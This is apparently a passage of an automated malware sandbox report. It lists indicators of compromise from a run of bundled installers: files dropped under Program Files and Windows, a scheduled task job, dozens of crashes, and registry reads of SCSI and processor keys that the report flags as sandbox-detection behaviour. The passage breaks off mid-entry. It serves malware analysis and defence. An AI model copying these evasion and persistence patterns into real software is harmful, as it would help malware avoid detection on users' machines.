description ioc Process File opened for modification C:\Program Files (x86)\Progg Ilog Cpro\ucrtbased.dll IBInstaller_74449.tmp File opened for modification C:\Program Files (x86)\Progg Ilog Cpro\libcueify.dll IBInstaller_74449.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-B8K10.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-59UTO.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-6F7JU.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-B9UQN.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url Setup.exe File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files\MSBuild\WSJCXOYPXV\ultramediaburner.exe.config installer.exe File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-JT0HL.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-U2CL5.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-LA8IK.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-6MGER.tmp 5F2D.exe File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-BL7FN.tmp setup_2.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-ERHFI.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe uNd4EyuGG5VgzoSPv1w6MflH.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe KF96W8QkRXdA2UXD3wZbnmWu.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe KF96W8QkRXdA2UXD3wZbnmWu.exe File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPN.exe 5F2D.exe File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-0DQ0T.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-8202S.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-SRD9N.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-K7VR5.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\Progg Ilog Cpro\unins000.dat IBInstaller_74449.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-VLJB1.tmp 5F2D.exe File created C:\Program Files (x86)\Progg Ilog Cpro\is-4A089.tmp IBInstaller_74449.tmp File created C:\Program Files (x86)\Progg Ilog Cpro\is-DC8K3.tmp IBInstaller_74449.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-E6EBC.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win732\is-QH6CN.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win764\is-48PMO.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-OLB34.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-I84LA.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe Setup.exe File opened for modification C:\Program Files (x86)\Progg Ilog Cpro\libstdc++-6.dll IBInstaller_74449.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win732\tapinstall.exe 5F2D.exe File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp32\devcon.exe 5F2D.exe File created C:\Program Files (x86)\MaskVPN\unins000.dat 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-FMMO5.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\unins000.msg 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-LQ6ED.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\MaskVPN\unins000.dat 5F2D.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe Setup.exe File created C:\Program Files\MSBuild\WSJCXOYPXV\ultramediaburner.exe installer.exe File created C:\Program Files (x86)\UltraMediaBurner\is-BPQSI.tmp ultramediaburner.tmp File created C:\Program Files (x86)\Progg Ilog Cpro\unins000.dat IBInstaller_74449.tmp File created C:\Program Files (x86)\MaskVPN\is-1TQ4B.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-TPLFE.tmp 5F2D.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe uNd4EyuGG5VgzoSPv1w6MflH.exe File created C:\Program Files (x86)\MaskVPN\driver\win732\is-JEMG2.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-QA28A.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe ultramediaburner.tmp File opened for modification C:\Program Files (x86)\UltraMediaBurner\unins000.dat ultramediaburner.tmp File created C:\Program Files (x86)\Progg Ilog Cpro\is-P3C2F.tmp IBInstaller_74449.tmp File created C:\Program Files (x86)\MaskVPN\is-H2NLT.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\is-1NO1C.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\win732\is-8B2EG.tmp 5F2D.exe File opened for modification C:\Program Files (x86)\MaskVPN\version MaskVPNUpdate.exe File created C:\Program Files (x86)\MaskVPN\driver\win732\is-UQ2Q5.tmp 5F2D.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-48MC1.tmp 5F2D.exe File created C:\Program Files (x86)\UltraMediaBurner\is-NMNS9.tmp ultramediaburner.tmp -
Drops file in Windows directory 55 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI8522.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8CA8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9DB6.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFD56E8DF670F0C3ED.TMP msiexec.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe File opened for modification C:\Windows\Installer\MSI83D8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9035.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log WerFault.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI9F0F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC602.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF389FE9FC19FF681D.TMP msiexec.exe File opened for modification C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\Installer\MSIC542.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC622.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC6D0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC158.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC532.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI86D9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9249.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\SystemTemp\~DF8AE4E6DC669ED803.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI8465.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8D74.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSIC572.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8F2A.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF10DE164716F151AF.TMP msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIC78C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI1C83.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI85BF.tmp msiexec.exe File opened for modification C:\Windows\LOGS\DPX\setuperr.log expand.exe File created C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62} msiexec.exe File created C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\Installer\MSIC633.tmp msiexec.exe File opened for modification C:\Windows\Installer\f757747.msi msiexec.exe File opened for modification C:\Windows\LOGS\DPX\setupact.log expand.exe File created C:\Windows\SystemTemp\~DFA63379EC86FFF9C7.TMP msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Installer\MSI7D9D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8803.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9289.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9B06.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File created C:\Windows\SystemTemp\~DF3365F8E71CB8363A.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIC583.tmp msiexec.exe File created C:\Windows\Installer\f757744.msi msiexec.exe File opened for modification C:\Windows\Installer\f757744.msi msiexec.exe File created C:\Windows\Tasks\AdvancedWindowsManager #1.job MsiExec.exe File created C:\Windows\SystemTemp\~DF4C3BC55CE74FAE4D.TMP msiexec.exe File created C:\Windows\Installer\f757747.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIC5B3.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFDC1575CA4D2226C6.TMP msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 48 IoCs
pid pid_target Process procid_target 5408 3104 WerFault.exe 103 5596 2540 WerFault.exe 107 5828 2468 WerFault.exe 108 6056 1820 WerFault.exe 110 6116 5792 WerFault.exe 139 2008 5144 WerFault.exe 146 4796 6016 WerFault.exe 141 5088 4540 WerFault.exe 148 2668 3656 WerFault.exe 191 5032 5972 WerFault.exe 163 5568 3552 WerFault.exe 114 5572 808 WerFault.exe 156 2352 5448 WerFault.exe 189 2248 5076 WerFault.exe 246 3672 5396 WerFault.exe 258 4268 1240 WerFault.exe 275 5796 5152 WerFault.exe 291 2032 2888 WerFault.exe 295 5512 4928 WerFault.exe 317 236 7024 WerFault.exe 358 3780 3448 WerFault.exe 372 5940 716 WerFault.exe 380 1868 5288 WerFault.exe 365 2152 5080 WerFault.exe 362 4056 6072 WerFault.exe 367 256 4772 WerFault.exe 398 6872 6624 WerFault.exe 363 2468 4372 WerFault.exe 440 6184 1720 WerFault.exe 370 2828 5200 WerFault.exe 433 504 2744 WerFault.exe 448 6348 6828 WerFault.exe 446 6040 2236 WerFault.exe 495 7056 944 WerFault.exe 480 7524 6580 WerFault.exe 494 8104 6556 WerFault.exe 515 1548 4316 WerFault.exe 492 4876 6656 WerFault.exe 490 5140 6704 WerFault.exe 513 8088 2628 WerFault.exe 520 1796 8052 WerFault.exe 552 6520 1464 WerFault.exe 486 5660 7344 WerFault.exe 560 1812 132 WerFault.exe 476 2848 6752 WerFault.exe 588 2160 2612 WerFault.exe 600 3672 3092 WerFault.exe 604 3604 6088 WerFault.exe 606 -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&135B206D&0&010000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\HardwareID Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0018 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\UpperFilters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ Process not Found Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 5jRNOktaE5TMChl4IoJaY5he.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\CompatibleIDs Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\HardwareID DE5F.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Mfg Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\DeviceDesc Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000 DrvInst.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\HardwareID Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\ConfigFlags Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 80FA.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\ConfigFlags tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D Process not Found Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\UpperFilters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D Process not Found Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI XQbCC7QBe_EvrWNLLyGgz1Wo.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\HardwareID DE5F.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&135B206D&0&000000 DE5F.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&135B206D&0&000000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Filters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 Process not Found Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 5jRNOktaE5TMChl4IoJaY5he.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&135b206d&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E Process not Found Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&135B206D&0&010000 WerFault.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&135b206d&0&000000\HardwareID DrvInst.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision sihost64.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier cmd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision cmd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz gZ9~4qZ~O.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision Impedire.exe.com Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 gZ9~4qZ~O.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision Process not Found Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Process not 